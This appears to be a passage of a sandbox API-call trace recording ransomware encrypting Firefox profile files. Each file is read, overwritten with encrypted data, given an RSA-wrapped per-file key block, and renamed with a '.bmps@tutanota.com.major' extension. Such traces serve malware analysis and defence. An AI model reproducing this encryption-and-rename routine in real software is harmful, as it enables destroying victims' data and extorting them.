[0231.606] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-5242880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.607] WriteFile (in: hFile=0x1a34, lpBuffer=0x3a54020*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3a54020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x500000, lpOverlapped=0x0) returned 1 [0231.659] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x500000 [0231.659] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.659] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.669] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.669] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.669] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.669] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.669] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="nGxdD423WUvRXKalRSqQLWBqO7osFmaWa5Zh7/8enpYRIuL2kEvjuNyG7hZlNOph\nEJvTbgrZwjuwUBbGNA6S9CfXV0dis8dWAv/gxGs//SpwpAzQVz8oLch6LGHKtu2S\n9bfC+wBJFB/xA1q6+82AYPhyeHT+Rn8fV9iyJnvTrNC1w5p/dgrEkMg81usyUaK6\nhYmNgahU/estlRGDpc7/TTE7RsDEKknpag74zeZvRBxRZzBgUvB7U0dwfzoIXMLe\nh1DeyVjbELLBmF+S0SxLFJG6fur1orm08NQsID0eNIAcB11pobwrn+mY2LAXwDfd\nC+s7cs5PNRVNmmkSGtJhNA==\n", pcchString=0x2e3f9a8) returned 1 [0231.669] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.669] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.669] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.669] CloseHandle (hObject=0x1a34) returned 1 [0231.670] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\places.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\places.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.672] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.672] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite", dwFileAttributes=0x80) returned 1 [0231.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0231.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e0b0 [0231.673] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.673] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=98304) returned 1 [0231.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18000) returned 0x33d5010 [0231.673] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18000) returned 0x33ed018 [0231.673] ReadFile (in: hFile=0x1a34, lpBuffer=0x33d5010, nNumberOfBytesToRead=0x18000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesRead=0x2e3f9b4*=0x18000, lpOverlapped=0x0) returned 1 [0231.697] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-98304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.697] WriteFile (in: hFile=0x1a34, lpBuffer=0x33ed018*, nNumberOfBytesToWrite=0x18000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33ed018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18000, lpOverlapped=0x0) returned 1 [0231.698] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18000 [0231.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.698] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.699] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wT+wrdjhJN2B3deET/d1u78EGzG1MaH2N0CYoz7d058ApxxOzNDnoQyZxNXejvLi\nZkw/BNkKdp6q/pmtgrdvX7nc1im6bHPS/VxkyUI3dwYJQvTZfDGIm0KIDuT3GnLc\n6wfG2yIziX//clT8P6FFITrkRALjOzfhdSoSXQdQhK6mh10K/x607X0QGqe2nWPL\nTscdZrmQWEgQfpcR9bDheh2gToIlnZNZtjnDl1US0mmoOAElikWr5ojMlNru3mwH\ntNe+Ul9lSWBcSdxLqaFGz1FbUr/QCBTFOC3aBpZ7HkppXw65nRqobtbDUwomvzjP\nd302Jrj1+Dfaq7c83hWcHg==\n", pcchString=0x2e3f9a8) returned 1 [0231.699] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.699] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.699] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.699] CloseHandle (hObject=0x1a34) returned 1 [0231.699] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\permissions.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\permissions.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.701] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.702] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\parent.lock", dwFileAttributes=0x80) returned 1 [0231.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6662c0 [0231.702] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0231.702] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\parent.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\parent.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.703] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0231.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0231.703] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0231.703] ReadFile (in: hFile=0x1a34, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0231.703] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0231.703] WriteFile (in: hFile=0x1a34, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0231.703] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0231.703] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.703] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0231.704] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0231.704] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0231.704] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0231.705] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Np2v73S1ow3V3wAiXBol/KzkCRpdv6WZifrFIijyWdVK83iEPM1cMgJD+LsTKDg6\nBZOhjw2Wu/RUh3pfNq/8aFiHfVRyaJ3yZIjUNEuxZQnDB+mOUz0E7Fq+fprHcvUS\nWqDr01MlKCYlyq9wT1SarUtk0+AgN46/DAJgOEtPYI8+1FH0Hv2sqJ8pqIA9jfEk\nCJWkr8t7Xxm4WZJtsUhOXUwd9/FOk9Zg/fZ7n+tXRlPA8fRAMnjC58clG6clVnpQ\nhm1tt/tJURZ/wlE/lITqEXP3+xVgbf9dmXlhm6NoyA7+OxmI5d6c3EVtLxwId3Lm\nDyrumXuyHaeiOtFQDp9zHA==\n", pcchString=0x2e3f9a8) returned 1 [0231.705] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0231.705] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0231.705] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0231.705] CloseHandle (hObject=0x1a34) returned 1 [0231.705] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\parent.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\parent.lock"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\parent.lock.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\parent.lock.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0231.707] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0231.707] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db", dwFileAttributes=0x80) returned 1 [0231.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2ee3d18 [0231.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ba8 [0231.708] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0231.709] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16384) returned 1 [0231.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x2f39028 [0231.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4000) returned 0x33d5010 [0231.709] ReadFile (in: hFile=0x1a34, lpBuffer=0x2f39028, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39028*, lpNumberOfBytesRead=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0232.208] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0232.208] WriteFile (in: hFile=0x1a34, lpBuffer=0x33d5010*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4000, lpOverlapped=0x0) returned 1 [0232.208] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4000 [0232.208] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0232.208] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0232.209] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0232.209] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0232.209] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0232.209] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0232.209] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OO3Wn3ghJHs/8ofH7fCP+YEU3urpNQu+2oBfrktiX+4hqzWeP8hTwHSrdlOMq28H\n/91C67GwLdJyiQaDU+9hjgl6bllxcgaMJsN85bSWkAgHIeA1E2Cbgc6F3UBmbjoG\nQwDouDunT5mBAHEpELyQXazWsyCAknV1dTMMQJodUKttPsv8VUQz49xb4jS+EUDo\nJGMdYs+2KwJ+3d+EaKg4L2NrduwXFpESe9SeA09wxBEXv01ZnSxyWBRPElVnqlVI\nUZ9lS/T3EbuvWYQLaGLvDi2KRjwvjaJCt66Px95OSPmOBegzLe2ymmH6T3lwz48q\nReSGh96i9PQuHj3cLxIZsA==\n", pcchString=0x2e3f9a8) returned 1 [0232.209] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0232.209] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0232.209] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0232.209] CloseHandle (hObject=0x1a34) returned 1 [0232.209] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\key3.db.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\key3.db.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0232.901] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0232.901] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json", dwFileAttributes=0x80) returned 1 [0232.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666fb0 [0232.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x106) returned 0x5b4ae0 [0232.902] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0232.903] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=683) returned 1 [0232.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ab) returned 0x5b4d88 [0232.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2ab) returned 0x5a8108 [0232.903] ReadFile (in: hFile=0x1a34, lpBuffer=0x5b4d88, nNumberOfBytesToRead=0x2ab, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b4d88*, lpNumberOfBytesRead=0x2e3f9b4*=0x2ab, lpOverlapped=0x0) returned 1 [0234.156] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=-683, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0234.156] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x2ab, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2ab, lpOverlapped=0x0) returned 1 [0234.156] SetFilePointer (in: hFile=0x1a34, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2ab [0234.156] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.156] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0234.157] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0234.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0234.157] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0234.157] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="f4+gdGPuL9JDK3aJi0CFgr0tQLRcJ43scLxVTo/UAcX+M+WT85oEhgt4R8TKt2Yd\nJ2YicyJGsbbkW1Vapqw/8spqs8piaIHSrB6rngV0A/b/Ck5NFOpUzso2HlDuRCTG\nPSmR9FukpnVR3KxmxWOOY/Wi6JjVc5cvBpdMXeagslihNGSrOiLTMxfiBjU+8cEf\n9RiQrfHFRA+u042HzOyQnh3jfOKB5Cfv0E+yxPMXpFse3pA+o8zIqP2UBA1C8Qop\n4spYiYE/KB1L8Dl9O17Dd6VMsBq9suRAolnMghCUH1D13qvZMjmgeaGsUDt3ori9\nzo/gC49dXQcqLLTcm6WLDg==\n", pcchString=0x2e3f9a8) returned 1 [0234.157] WriteFile (in: hFile=0x1a34, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0234.157] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0234.157] WriteFile (in: hFile=0x1a34, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0234.157] CloseHandle (hObject=0x1a34) returned 1 [0234.157] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\handlers.json.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\handlers.json.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0234.486] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0234.486] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal", dwFileAttributes=0x80) returned 1 [0234.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6646c0 [0234.486] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x60e300 [0234.486] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\favicons.sqlite-wal" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\favicons.sqlite-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a34 [0234.486] GetFileSizeEx (in: hFile=0x1a34, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=590288) returned 1 [0234.487] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x901d0) 